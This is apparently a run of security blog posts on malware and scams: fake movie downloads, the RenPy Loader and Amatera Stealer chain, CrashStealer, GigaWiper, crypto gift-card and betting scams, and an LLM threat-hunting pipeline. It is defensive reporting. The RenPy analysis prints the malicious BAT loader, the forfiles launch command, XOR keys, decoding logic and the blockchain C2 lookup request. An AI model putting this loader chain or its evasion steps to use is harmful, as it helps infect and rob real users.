Christopher Nolan’s The Odyssey is one of the biggest movie releases of the year and scammers wasted no time taking advantage of it. Within hours of the film’s release, we found scams targeting people looking for pirated copies. Some used fake browser warnings on piracy sites, while others disguised malware as movie downloads.

Some used fake browser error messages designed to funnel people through malvertising networks. Others offered what appeared to be movie downloads that were actually Windows executables disguised as video files.

Neither scam has anything to do with the movie itself. They’re simply taking advantage of people searching for a popular new release.

The Odyssey piracy scams we found

We observed two main tactics.

One used fake pop-ups claiming your browser was missing a required “component.” Clicking Fix It Now didn’t solve any problem. It simply routed visitors into a malvertising network. Exactly where those redirects ended depended on whatever campaign the network was serving at the time.

The second involved a file advertised as The Odyssey 2026 1080p WEBRip-LAMA. Once downloaded, however, it turned out to be an .exe file. That’s a Windows application, not a video.

Movies don’t need to run as programs. If a supposed movie download ends in .exe, it isn’t a movie.

The fake “Browser Issue Detected” warning

On cloned piracy sites listing The Odyssey torrents, we encountered a fake browser pop-up claiming Browser Issue Detected. It warned that a “missing component” was preventing full access. It presented a prominent Fix It Now button, with a much smaller Close and Continue Browsing option underneath.

There was no missing browser component. The entire pop-up was part of the webpage itself, designed to look like a genuine browser warning.

What made this particularly interesting was how consistently it appeared. We found the same overlay—identical wording, identical layout, with only the branding colors changed—across multiple cloned torrent sites.

These were not the genuine torrent trackers, but convincing copies designed to impersonate well-known piracy sites that reproduced real listing layouts, artwork, and cast information for The Odyssey, then displayed the fake browser warning on top. Taken together, the cloned websites and identical pop-ups strongly suggest a coordinated campaign built to capture searches for a major new release, rather than legitimate torrent sites that had been compromised.

Clicking Fix It Now typically sends visitors through one or more advertising redirects. Depending on which campaign is active at that moment, users may eventually land on:

• A fake browser extension
• Scareware urging them to call a fake technical support number
• Another redirect attempting to deliver malware

The final destination can vary from one visit to the next because the underlying ad network changes what it serves over time.

A movie that was actually a program

The second scam targeted people who actually tried to download the movie. We also found a listing named The Odyssey 2026 1080p WEBRip-LAMA.exe, advertised as a 1080p WEBRip release with 597 seeders and 520 leechers.

Windows immediately identified the download as an Application, confirming what the file extension had already revealed.

Legitimate movie downloads use video containers such as .mkv, .mp4, or .avi. These files are opened by a media player, they do not execute code.

Several other details stood out.

The file description read “wireless bus Business Controller,” which has nothing to do with video playback and was likely leftover metadata from whatever software was originally used to build the executable.

The file also displayed VLC Media Player’s familiar orange traffic cone icon, despite being an application rather than a video file. That’s a classic social engineering trick. VLC is one of the world’s most widely used media players, so many people instinctively associate its icon with a harmless video. In a downloads folder, the file looks like something you can safely double-click when, in reality, doing so executes an unknown program with your own user permissions.

Files packaged this way (with misleading extensions, spoofed icons, and inconsistent metadata) are a well-established malware delivery technique.

---

---

What runs after the user launches the file depends on the campaign. It could be:

• A Trojan that opens a backdoor into the system
• An infostealer that steals saved passwords and browser sessions
• A loader that downloads additional malware
• In some cases, ransomware

It’s also worth remembering that large numbers of seeders don’t prove a file is safe. They only indicate that many people are sharing it, and plenty of people unknowingly distribute malicious files.

Why these scams work

Neither scam relied on exploiting a software vulnerability.

Instead, both relied on convincing someone to take the next step: clicking a fake browser warning or running what they believed was a movie.

That’s much harder for security software to prevent completely, because browsers can’t reliably distinguish between a genuine browser message and one rendered entirely in a webpage’s HTML. Likewise, antivirus software can’t flag every executable simply because it uses a misleading icon or contains unusual metadata, as many legitimate applications do too.

Security software still plays an important role. It can block known malicious websites, detect malware after it’s identified, and stop many malicious downloads or redirects before they complete.

But recognizing that a “movie” ending in .exe is never really a movie remains one of the simplest and most effective security checks users can make themselves.

What to do if you may have been affected

• If you clicked Fix It Now and something unexpected downloaded or opened afterward, run a full Malwarebytes scan.
• If you ran a supposed movie that turned out to be an .exe, disconnect the computer from the network, perform a full malware scan, and avoid using the device for banking, email, or other sensitive accounts until you’re confident it’s clean.
• Check your browser for extensions you don’t remember installing and remove anything unfamiliar.
• If you executed an unknown program, change passwords for important accounts from a separate, trusted device.
• Treat any pirated “movie” that isn’t a standard video format as suspicious. There is no legitimate reason for a movie download to be a Windows application.

Closing thoughts

Piracy-adjacent malvertising and fake-movie droppers persist because they don’t need to be sophisticated. They only need a title popular enough to guarantee search traffic. A $250 million IMAX epic with a year of ticket pre-sales behind it is about as close to guaranteed traffic as the piracy economy gets, which is why these scams surfaced within hours of release day rather than weeks later.

If you’re downloading a film and it asks you to install something, fix your browser, or run an .exe, you’re almost certainly not getting a movie. You’re downloading software that could infect your computer.

---

Stop threats before they can do any harm.

Malwarebytes Browser Guard blocks phishing pages and malicious sites automatically. Free, one click to install. Add it to your browser →

We have detected several campaigns using fake downloads of games, mods, cracks, and software to spread RenPy Loader. Once installed, the loader starts a complex, multi-stage infection chain that abuses MSBuild and the EtherHiding technique before ultimately delivering Amatera Stealer.

Amatera is an infostealer—a type of malware designed to steal sensitive information from an infected device. It can target passwords and other data stored in browsers, cryptocurrency wallets, browser extensions, messaging apps, and local files. Stolen credentials and session data may also allow attackers to access the victim’s online accounts.

The victim may see what appears to be a normal game or software installer while the malware runs silently in the background.

RenPy Loader, also known as RenEngine Loader, is particularly interesting because it abuses Ren’Py, a legitimate engine used to create visual novels, story-driven games, and interactive fiction. By hiding malicious code inside software associated with gaming, attackers can make their downloads appear more believable to people looking for games, mods, or cracked software.

We’ve previously seen attackers misuse legitimate development tools and emerging software frameworks, including Bun and Deno, to distribute malware. RenPy Loader follows the same pattern: Attackers abuse legitimate technology to disguise malicious activity, complicate the infection chain, and make detection more difficult.

RenPy Loader has also been observed delivering other malware, including HijackLoader and Lumma Stealer, showing that the final payload can vary between campaigns.

In this blog, we analyze an infection chain in which Ren’Py decrypts a ZIP archive containing a BAT file and several MSBuild project files. These files load a trojanized .NET component, which then decodes another malicious component.

That malicious component uses a technique called EtherHiding to locate its command-and-control (C2) server. Instead of storing the C2 address directly inside the malware, the attackers hide it in data stored on a public blockchain. The malware then downloads the next stages of the attack from that server, making the attackers’ infrastructure more difficult to identify and disrupt.

Finally, we examine the additional payloads that ultimately decrypt and execute Amatera Stealer.

Fake downloads infect your device

The infection begins when someone downloads a supposed game, mod, crack, or piece of software. We found malicious files distributed through:

• Malicious websites
• Game download portals
• Several file-sharing services, including Wormhole, GoFile, Google Drive, and MEGA

Here are some of the detected pages that start the infection chain:

In several cases, clicking a download link redirected the user to another fake download website. These pages used different designs and invented service names, helping the campaigns appear less repetitive and making the malicious infrastructure harder to recognize.

Below are examples of fake download pages used to distribute the malicious archive:

The user downloads an archive containing a file named Setup.exe. Opening this file starts the infection chain.

The victim sees a loading or installation screen, but malicious code is running in the background.

How to stay safe

A few precautions can reduce the risk of downloading malicious games or software:

• Download games and software from official websites, trusted app stores, or established distribution platforms.
• Treat cracked software, unofficial mods, and free versions of paid games with caution.
• Be wary when a download link redirects you through several unfamiliar websites or file-sharing services.
• Check the contents of downloaded archives before opening executable files such as Setup.exe.
• Look for unusual filenames, unrelated images or text files, and content that does not match what you intended to download.
• Use real-time anti-malware software such as Malwarebytes.
• Keep your operating system, browser, and security software up to date.

The people behind these campaigns continually create new websites and change their download pages. A professional-looking installer or familiar file-sharing service does not guarantee that a download is safe.

Technical analysis of RenPy loader

Ren’Py is a free, open-source engine for creating visual novels, story-driven games, and interactive fiction. Ren’Py allows the integration of Python scripts, which attackers abuse to insert malicious code.

In this case, we found malicious code in the following files and paths:

.kb-table-container437867_d88d21-72{max-height:866px;overflow-x:auto;}.kb-table437867_d88d21-72 tr > *:nth-child(1){width:30%;}.kb-table437867_d88d21-72 tr > *:nth-child(2){width:30%;}.kb-table437867_d88d21-72{table-layout:fixed;width:100%;}.kb-table-container .kb-table437867_d88d21-72 th{padding-top:1px;padding-right:5px;padding-bottom:1px;padding-left:5px;text-align:center;}.kb-table-container .kb-table437867_d88d21-72 caption{text-align:center;}.kb-table-container .kb-table437867_d88d21-72 td{padding-top:1px;padding-right:5px;padding-bottom:1px;padding-left:5px;text-align:left;}.kb-table-container .kb-table437867_d88d21-72 td, .kb-table437867_d88d21-72 th{border-top:1px solid #0808f3;border-right:1px solid #0808f3;border-bottom:1px solid #0808f3;border-left:1px solid #0808f3;}@media all and (max-width: 1024px){.kb-table-container .kb-table437867_d88d21-72 td, .kb-table437867_d88d21-72 th{border-top:1px solid #0808f3;border-right:1px solid #0808f3;border-bottom:1px solid #0808f3;border-left:1px solid #0808f3;}}@media all and (max-width: 767px){.kb-table-container .kb-table437867_d88d21-72 td, .kb-table437867_d88d21-72 th{border-top:1px solid #0808f3;border-right:1px solid #0808f3;border-bottom:1px solid #0808f3;border-left:1px solid #0808f3;}}

The first-stage loader extracted from libwin32.rpa performs the following operations:

• Reads the config data/.GEg and decrypts it using Base64 decoding and XOR with the key 81034149cd6f48c8821340204f92766e. This config contains the password used to extract the ZIP, along with other configuration data used by the loader.
• Calls sys_config.is_sandboxed() and exits if a sandbox is detected.
• XOR-decrypts data/j3lpTcg7kBRN.E3 using the key A50YyY1 to obtain the ZIP.
• Extracts the ZIP contents to a random folder under %TEMP%/tmp-{5 digits}-{12 characters} and writes a :Zone.Identifier alternate data stream (ADS) with ZoneId=0 to remove the Mark of the Web and bypass SmartScreen. It also inserts a random REM string into the extracted BAT file.
• Launches the payload using forfiles.exe.
• Sends the machine’s MAC address and campaign ID to a tracking website.

In this case, the extracted BAT file was executed using the following command:

forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"

Contents of the BAT file:

@echo off
setlocal DisableDelayedExpansion
set "_bp=%~f0"
set "_rl=0"
if /i "%~1"=="/launched" set "_rl=1"
if /i "%~2"=="/launched" set "_rl=1"
if /i "%~3"=="/launched" set "_rl=1"
if /i "%~4"=="/launched" set "_rl=1"
if /i "%~5"=="/launched" set "_rl=1"
if /i "%~6"=="/launched" set "_rl=1"
if /i "%~7"=="/launched" set "_rl=1"
if /i "%~8"=="/launched" set "_rl=1"
if /i "%~9"=="/launched" set "_rl=1"
if "%_rl%"=="1" goto :_go
set "_ch=%SystemRoot%\System32\conhost.exe"
if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe"
where conhost.exe >nul 2>&1
if %errorlevel% equ 0 (
  endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched
) else (
  endlocal & cmd.exe /c "%_bp%" /launched
)
exit /b 0
:_go
endlocal
setlocal EnableExtensions
set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_czzf=%~dp0Nancy.csproj"
set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c
if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
if not exist "%_pb%" (
  exit /b 9
)
"%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1
endlocal

The executed BAT file performs the following operations:

• Relaunches itself in a headless console when supported:

"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c

• Enables MSBuild property functions, allowing additional methods such as AppDomain.CurrentDomain.Load to be executed:

MSBUILDENABLEALLPROPERTYFUNCTIONS=1

• Executes MSBuild.exe with Nancy.csproj as its project file. During project evaluation, a malicious MSBuild property function hex-decodes and reflectively loads the next DLL stage.

The trojanized Nancy DLL and custom bytecode

Nancy.csproj imports the three extracted files Nancy.csproj.user, Internal.props, and Nancy.Compile.targets. The malicious DLL is split across three values stored in these files.

Nancy.Compile.targets concatenates the three values to hex-decode the DLL and execute the DefaultEvaluator5 method using AppDomain.CurrentDomain.Load.CreateInstance.

The interesting part is that Nancy.csproj serves two purposes: It is the MSBuild project used to execute the first-stage loader, and it also contains the next stage decoded by the loader.

The DLL is a trojanized version of the Nancy .NET library and is an obfuscated .NET loader with malicious code implemented in the DefaultEvaluator5 class. Some of the DLL’s functionality is implemented in custom bytecode executed by this main method.

The DLL performs the following operations:

• Decrypts strings from resources using multi-key XOR decryption.
• Resolves APIs using API hashing and GetDelegateForFunctionPointer.
• Changes network settings, including disabling TLS certificate validation and setting the default system proxy.
• Performs anti-forensics operations.
• Reads the _czzf environment variable, which points to the previous Nancy.csproj file, then decodes and executes it.

The main DefaultEvaluator5 method retrieves strings and interprets the bytecode contained in the following resources:

• Nancy.Runtime.mvlorimu: Contains the custom bytecode. The bytecode is interpreted by _pv and _sro. It implements 23 opcodes used to decrypt other strings and load the next-stage DLL.
• Nancy.Data.tcnlhxw and Nancy.Resources.kxxodp: Contain the encrypted strings and other data used for decryption, including keys, lengths, indexes, and the S-box.

The strings are decrypted using the following algorithm:

out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]

The next DLL stage, GollopDevest, is decoded from the same Nancy.csproj file using the following logic and loaded with AppDomain.Load:

for i, k in enumerate(marker_int):
    if k < 256:
        payload[i] = k
    else:
        payload[i] = marker_int[k-256]

EtherHiding and Amatera Stealer

The next extracted stage is a DLL called GollopDevest.dll, a .NET downloader that uses the EtherHiding technique to obtain its command-and-control (C2) server and download the next stage.

The encrypted C2 domain is obtained using an Ethereum JSON-RPC eth_call request to bsc-dataseed.binance.org:

{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}

This EtherHiding downloader is likely part of a malware-as-a-service (MaaS) operation, as we have detected it being distributed in other campaigns, including ClickFix campaigns.

Three additional payloads are then downloaded: two .NET DLLs called PavinWide (an anti-analysis DLL) and GollopDevest (a loader DLL), and a C++ DLL called LanoseThrip, which ultimately decrypts and loads Amatera Stealer.

In this case, these payloads were downloaded from:

• /assets/ExponeAboard.json
• /assets/MailersKogasin.json
• /assets/LanoseThrip.json

The .NET DLLs are heavily obfuscated using control flow flattening, indirect calls through calli/ldftn, string encryption with several algorithms, junk code, dead code, and fake strings such as URL paths.

The analysis of these DLLs is still ongoing and will be explored in more detail in the next blog posts.

Indicators of Compromise (IOCs)

Domains

• downpro[.]net – Fake download website
• macisofile[.]sbs – Fake download website
• visitmama[.]blog – Fake download website
• visitmama[.]guru – Fake download website
• getgamerfree[.]com – Fake download website
• fullgames[.]digital – Fake download website
• flingbase[.]net – Fake download website
• citronemu[.]com – Fake download website
• filemodo[.]xyz – Distribution infrastructure
• storage06x[.]cfd – Distribution infrastructure
• p03sil[.]cyou – Distribution infrastructure
• wimsedas[.]xyz – Distribution infrastructure
• againstmor[.]store – Distribution infrastructure
• host03q[.]cfd – Distribution infrastructure
• cloud01y[.]cfd – Distribution infrastructure
• storage11x[.]cfd – Distribution infrastructure
• storage04x[.]cfd – Distribution infrastructure
• host82p[.]cfd – Distribution infrastructure
• cloud05y[.]cfd – Distribution infrastructure
• analyticstrack-pzh[.]click – Tracking website
• login.orbitalframework[.]cc – Amatera Stealer C2

IP addresses

• 144.124.251[.]171 – Used to obtain additional payloads
• 195.63.140[.]33 – Used to obtain additional payloads
• 78.40.196[.]252 – Used to obtain additional payloads

File hashes (MD5)

• 29203ca123d51b1b33505a0813d360df – First-stage loader (Trojanized DLL)
• 810F257542018BE0FC62AF542D13D012 – GollopDevest DLL (Downloader DLL)
• 681DB529E402467A4B0567C82A350FC0 – PavinWride DLL (Anti-analysis DLL)
• 2E116632248A7E1F8AA6BCA92D9C1C90 – GollopDevest DLL (Loader DLL)
• F8453EFE408CE25B9484F872797E3D63 – Final payload

---

---

CrashStealer is a new macOS infostealer that masquerades as Apple’s CrashReporter component, uses an Apple‑notarized installer to slip past Gatekeeper, tricks users into handing over their password, and then systematically loots browsers, password managers, crypto wallets, and Keychain secrets before exfiltrating them in AES‑encrypted bundles.

Researchers have been following the development of CrashStealer since May 2026. It impersonates Apple’s CrashReporter component by taking the name CrashReporter.app. It also creates a LaunchAgent named com.apple.crashreporter.helper and uses the legitimate tool’s icon and metadata to look as trustworthy as possible.

Gatekeeper, basically macOS’s bouncer at the door, checks whether an app looks safe before letting it run. By using a notarized installer—one that Apple has scanned and stamped as acceptable—Gatekeeper is more likely to let it through without raising alarms. Getting notarized doesn’t mean Apple intentionally approved the malware. It means the installer passed Apple’s automated checks, and the attackers abused that trust.

The notarized installer, called “Werkbit Setup” is distributed from a fake software site registered in late June and gated behind a meeting PIN (Personal Identification Number), suggesting a targeted, invitation‑only campaign.

When launched, the malware displays a fake macOS password prompt that users will expect to see when running a legitimate system operation requiring administrator privileges. In reality, the malware uses that password to unlock the user’s Keychain, which stores passwords and other sensitive data in macOS’s encrypted password vault.

The malware then steals browser credentials and cookies, cryptocurrency wallet extensions, password manager data, and small files from common user directories. The stolen data is encrypted and sent to a command and control (C2) server.

CrashStealer is a reminder that macOS is firmly in the sights of credential‑stealing operations. Notarization and Gatekeeper reduce many classes of risk, but they do not remove the need for layered defenses, cautious user behavior, and ongoing threat monitoring.

How to stay safe

There are a few things you can do to protection yourself from CrashStealer and other infostealers.

• Be skeptical of “CrashReporter” downloads. Apple’s crash‑reporting tools ship with macOS, so you should never need to download a separate CrashReporter app from a third‑party site.
• Treat PIN‑gated installers with caution. If a meeting invite or collaboration tool requires you to download software from an unfamiliar domain and enter a private PIN to unlock the installer, verify the request with the organizer through a separate trusted channel.
• Treat a password request that appears immediately after launching a new or unfamiliar app—especially one claiming to be a system component—as a red flag.
• Use reputable security software that supports macOS. Keep it, and macOS itself, up to date.
• Separate your risk. Avoid keeping high‑value crypto wallets, password vaults, and everyday browsing credentials on the same machine and user profile wherever possible.

Malwarebytes detects CrashStealer as MacOS.Stealer.Crash.

---

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

You want to turn some crypto into a gift card. You search, click a promising result, and land on a site that looks polished and legitimate: a dark theme, trust badges, and promises of instant delivery and no ID checks. You wouldn’t think to question it.

But a professional-looking website isn’t proof that it’s legitimate.

What’s going on

Crypto gift card sites are an easy category to fake.

Several legitimate platforms let people convert Bitcoin, Ethereum, and other cryptocurrencies into gift cards for major brands. They also tend to look similar: a dark theme, a bold “Pay with crypto” message, trust badges, and a grid of popular gift card deals.

That makes them easy to imitate.

Scammers build lookalike sites that copy the same design language and sometimes even use a name that’s only one or two letters different from a legitimate platform. They’re designed to be mistaken for the real thing by anyone scrolling quickly or clicking through from an ad or search result.

The pricing is part of the deception, too. A $100 Amazon gift card for $95. A $25 Steam Wallet code for $24. A $100 Netflix gift card for $92. Those discounts don’t look unrealistic, so the scam looks very convincing.

What’s the scam?

The simplest scam is non-delivery. You pay, and nothing arrives because there was never any gift card to send. The website exists solely to collect crypto payments.

Crypto payments generally can’t be reversed. There’s no bank to call and no chargeback if the gift card never arrives. Once your Bitcoin or Ethereum leaves your wallet, it’s usually gone.
Some scams go a step further and send you a code. It just isn’t a legitimate one.

Stolen gift card numbers are bought and sold on cybercriminal marketplaces, often for a fraction of their face value because they’re likely to be drained or reported before they’re redeemed. A scam site can buy those codes cheaply, resell them at what looks like a reasonable discount, and leave you with a code that never works or stops working shortly after purchase.

Even if a stolen code works at first, buying it helps create demand for more stolen gift cards.

There’s another reason these sites attract criminals. Crypto gift cards are commonly used to launder stolen cryptocurrency. Converting crypto into gift cards, and gift cards into goods or account balances, makes transactions harder to trace. A fake storefront doesn’t just be steal from buyers, organized crime gangs also use it to move funds.

None of this requires advanced technical skills. A convincing storefront, irreversible crypto payments, and search or social media ads are often enough to lure victims.

How to protect yourself

• Go directly to the platform’s official site by typing the address yourself, rather than clicking a link from an ad, a search result, or a message.
• Check the spelling of the domain character by character. Scam sites often use domains that differ from a legitimate one by just one or two letters.
• Don’t assume “No ID required” means a site is trustworthy. It’s a genuine feature on some platforms, but scammers use it too.
• Think twice before clicking Connect Wallet. Depending on the permissions you approve, it can expose more than a single payment.
• Be skeptical of discounted gift cards, even modest discounts. Small discounts are designed to look believable.
• Search for the platform’s name plus “scam” or “reviews” before you pay, especially if you found the site through an ad.
• Use a browser extension that blocks scam and phishing sites, such as Malwarebytes Browser Guard. It can flag a fake storefront before you land on it, even ones it hasn’t seen before.

If you’ve already sent crypto to a suspicious site

Treat the funds as unrecoverable, but act quickly anyway.

• If you have the transaction ID, check a blockchain explorer to see whether the funds were sent to a known exchange. If they were, contact the exchange’s fraud team immediately.
• If you connected your wallet rather than sending a payment, review and revoke any token approvals you granted.
• Report the site to Google Safe Browsing and Microsoft SmartScreen to help warn other people.

Remember

A crypto gift card site can look completely legitimate and still not be. Before you send anything, check its reputation first.

---

---

Microsoft published new research on GigaWiper, a modular Golang backdoor for Windows that combines robust remote access with multiple ways to permanently destroy systems and data.

GigaWiper is a Windows backdoor that Microsoft has observed in intrusions since October 2025. Rather than being a single-purpose wiper, it’s an operational platform that blends command‑and‑control (C2), data destruction, and remote access options in a single piece of malware.

What’s remarkable is that GigaWiper seems to be built using previously separate tools like the Crucio ransomware and the FlockWiper disk wiper, wrapped into a consolidated framework.

Based on the characteristics of the malware, which include espionage features (screen capture, VNC‑like remote control, system inventory) and multiple ways to irreversibly destroy data, it fits the pattern of an attacker that wants long‑term access but also reserves the option to wipe systems if they choose.

GigaWiper implements about 20 commands, falling broadly into three categories: destruction, remote access/monitoring, and system management. Some examples include:

• Raw disk wiper that overwrites raw disk content in large chunks before forcing an immediate reboot.
• Fake ransomware (Crucio‑based) wiper that masquerades as ransomware. Instead of demanding payment, it encrypts files and then throws away the encryption key, making recovery impossible.
• Windows drive secure wiper that targets the Windows installation drive and performs multi‑pass overwrites using different byte patterns.
• Screen capture and recording, including one‑shot screenshots of each monitor and continuous recording while the user is active.
• Remote control via a TCP (Transmission Control Protocol) server that streams the desktop and allows keyboard and mouse input after creating its own Windows Firewall exceptions.

GigaWiper also sets up a scheduled task called “OneDrive Update” that runs every minute and at startup to maintain persistence.

Command-and-control servers were found at 185.182.193[.]21 and 212.8.248[.]104.

Its management utilities include process, service, and registry managers that can create, list, or kill processes, manage Windows services, and navigate and mutate registry keys. It also collects system information, including hardware, operating system, network, firmware, user, and antivirus details.

How to stay safe

Because GigaWiper is deployed after attackers have already compromised a system, the best defence is preventing the initial intrusion and detecting malicious activity before destructive commands can be executed.

Malwarebytes detects GigaWiper components with the detection names Trojan.FlockWiper and Backdoor.GigaWiper.

• If GigaWiper is detected, disconnect the affected machine from the network immediately to prevent attackers from initiating destructive commands.
• Enable tamper protection (or the equivalent feature in your security software) so local admins and malware cannot silently disable anti-malware or other security tools.
• Monitor for connections to the known C2 servers, the creation of the “OneDrive Update” scheduled task, and unauthorized attempts to disable Windows recovery.
• Finally, rotate credentials, particularly for any accounts that may have been compromised, and review logs for privilege escalations or lateral movement to determine if other systems have also been affected.

---

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Crypto prediction and betting sites are appearing around the World Cup, and researchers have already tracked scams aimed at fans, including fake ticketing, fixed-match betting, prediction scams, and fan-branded meme coins.

We investigated one prediction site ourselves. While we aren’t claiming every site works the same way, it matched several well-known scam patterns. Whether it’s a worthless token, a fake betting platform, or a disappearing website, the result is often the same: you lose money.

What you need to know

• This isn’t a single scam. Different sites use different tactics, but many follow the same playbooks.
• Even if a site pays out exactly what it promises, you could receive a token that’s difficult or impossible to sell.
• Some sites simply keep your deposit and stop responding.
• Crypto transactions generally can’t be reversed. Once you’ve sent the money, recovering it may be impossible.

How you lose money

The last three examples below are based on a token we investigated directly. The first two are common scam patterns seen across this category.

• Pump-and-dump: A token is promoted through the game, early participants receive genuine payouts that build trust, then the creators sell their holdings and the price collapses. Later buyers are left with a token few people want.
• Take the money and vanish: You deposit crypto to unlock betting or enter the game. The site keeps the money and disappears.
• Fake free-to-play: The game is advertised as free, but you have to buy or hold a token before you can participate. The game attracts users; the token sale generates revenue.
• Copycat naming: A new token uses a name similar to an established cryptocurrency, making it easier for people to mistake it for a legitimate project.
• Manufactured activity: The same tokens move repeatedly through a central wallet, creating the appearance of trading activity. On charts, it can look like an active market when little genuine trading is taking place.

Traditional crypto advice doesn’t help much here

You’ve probably heard advice like “never share your seed phrase.” That’s still important, but it isn’t what’s happening here.

These sites don’t need access to your wallet or seed phrase. They persuade you to send money voluntarily. Once you’ve done that, there may be nothing to recover.

How to check a token

• Look at how many people actually hold the token. A token with very few holders, despite lots of apparent trading, deserves extra scrutiny.

• Check the transfer history, not just the trading volume. On one token we examined, identical amounts repeatedly moved into and back out of the same central wallet. We confirmed this pattern across more than a dozen addresses. Genuine market activity rarely produces repeated matching round trips like this.

• Search the token name alongside “price.” If a similarly named cryptocurrency already exists, you may be looking at a copycat.

• Before sending money, ask yourself what happens if you never see it again. If you aren’t comfortable with that answer, don’t send it.

If you’ve already sent money

• Don’t send more to unlock a refund or payout. That’s often part of the scam.
• Assume the money may be gone. Waiting for the site to make things right rarely works.
• Disconnect unfamiliar apps, then revoke any spending permissions you granted. Disconnecting a wallet from a site doesn’t necessarily revoke any spending approvals you’ve already granted. Check your wallet’s support pages for instructions on reviewing and revoking those permissions.
• Report the scam to help protect others:
  • Report the website to your country’s cybercrime reporting service or consumer protection agency.
  • Report the wallet address if the wallet or exchange you use provides an abuse reporting option.
  • If you found the site through social media or a search engine, report the post or advert so it can be reviewed.

Whether the site pays you in a token that quickly becomes worthless or simply disappears with your deposit, the outcome can be much the same.

If a crypto prediction game asks you to buy or hold a token before you can play, stop and ask why. The game may be there to encourage token sales rather than reward successful predictions.

---

Stop threats before they can do any harm.

Malwarebytes Browser Guard blocks phishing pages and malicious sites automatically. Free, one click to install. Add it to your browser →

Blake McDermott is Senior Threat Hunter at Rapid7.

Every week, threat hunt teams are faced with a steady flow of blogs, advisories, and DFIR reports containing valuable intelligence about adversary behaviors, tactics, techniques, and procedures. The challenge is turning that intelligence into repeatable, behavior-based hunting logic quickly enough to be useful. Indicators of compromise still have value, but they age quickly. Behavioral detections give defenders a better way to look for how attackers operate, rather than relying only on what they leave behind.

To help solve this, Rapid7’s Internal Security team built an automated threat hunting pipeline that transforms threat intelligence reporting into structured, executable hunt plans. The pipeline uses large language models to extract adversary behaviors, map them to MITRE ATT&CK techniques, generate detection queries across multiple tools, and support analyst-ready briefings in minutes rather than days.

Why manual threat hunting does not scale

A single threat intelligence report can describe dozens of adversary behaviors across multiple ATT&CK techniques. Translating that report into useful hunt logic often requires an analyst to read the full source, identify relevant behaviors, map them to ATT&CK, write queries for each security tool, validate syntax, execute searches, and triage the results.

For a report covering 40 to 50 techniques, that process can consume much of a working week. When multiple high-quality reports land at once, manual hunting quickly becomes unsustainable. The goal of this project was to reduce the mechanical work involved in building hunt plans, while keeping analysts in control of validation, interpretation, and decision-making.

How the automated threat hunting pipeline works

The pipeline runs in four stages, each designed to be inspectable, repeatable, and easy for analysts to refine over time.

Stage 1: Threat intelligence ingestion

The pipeline accepts a threat intelligence blog or report via URL or pasted text. It extracts the core article body, removes navigation and boilerplate content, and validates the material to ensure there is enough substance for analysis. This creates a clean input for the model and reduces the risk of irrelevant page content influencing the output.

Stage 2: ATT&CK technique extraction

The cleaned content is then sent to a large language model with a structured prompt that instructs it to act as a MITRE ATT&CK analyst. The model identifies adversary techniques referenced in the report and returns each one with its technique ID, technique name, tactic category, and a short summary of how the threat actor used it.

The prompt is tuned to focus on offensive behaviors and adversary tradecraft. Defensive recommendations, control guidance, and mitigation strategies are excluded from this specific workflow so the output reflects what the attacker did, rather than what defenders should implement in response. That focus helps preserve the hunting value of the source material while leaving room for separate workflows that generate defensive recommendations or control improvements.

For example, when applied to a Rapid7 threat research report on BPFdoor activity in telecom networks, the pipeline identified 16 techniques across seven ATT&CK tactics, including Initial Access, Persistence, Defense Evasion, Credential Access, Collection, Command and Control, and Execution. That structured extraction became the foundation for a hunt plan with detection coverage across InsightIDR, Velociraptor, and Sigma, giving analysts a faster path from source intelligence to behavior-based hunting logic.

Stage 3: Detection query generation

For each identified technique, the pipeline generates detection content across several tools and formats. This includes LEQL queries for InsightIDR, targeting activity such as process execution, authentication events, network connections, and file modifications. It also includes Velociraptor VQL queries and artifact recommendations for live host interrogation, Sigma rules that can be shared across teams or converted into other SIEM formats, and YARA rules where relevant.

Every generated query is reviewed by an analyst before use. LLMs can accelerate drafting and reduce repetitive work, but analyst validation remains essential for accuracy, syntax, and operational fit.

Stage 4: Hunt plan assembly

The pipeline assembles a structured markdown hunt plan organized by ATT&CK tactic. Each report includes an executive summary, an IOC sweep section when indicators are present, and a behavioral hunting section containing generated queries in fenced code blocks with clear explanations of what each query is designed to detect. This gives analysts a consistent output they can inspect, edit, execute, and reuse.

Building a reusable detection query library

A key design decision was the introduction of a persistent query cache. Each technique’s generated queries are saved as standalone markdown files, creating a growing library of reusable detection content.

This cache reduces cost and execution time because techniques seen in previous reports can be loaded from the library rather than regenerated. It also creates a practical feedback loop: analysts can correct, tune, and improve cached queries over time, and those improvements persist across future hunt plans.

By tracking which reports and campaigns reference each technique, the team can build an organic view of recurring adversary behavior and identify which techniques appear across multiple actors or campaigns. Over time, this helps narrow the focus to behaviors most relevant to the environment, providing useful context.

Executing hunts and analyzing results

Once a hunt plan has been reviewed and validated, a separate process executes approved queries against InsightIDR. Results are then parsed and summarized into a briefing that highlights which queries returned results, why those results may matter, which findings may require immediate investigation, and how the activity relates to the threat actor’s known tradecraft.

Analysts can then ask follow-up questions conversationally, such as which findings should be prioritized, which hosts or users require deeper review, or how results should be interpreted based on risk.

Velociraptor queries are still executed manually because of the level of access involved. Given the potential impact of live host interrogation, the team made the deliberate decision to keep that execution under direct analyst control.

Practical use cases for automated threat hunting

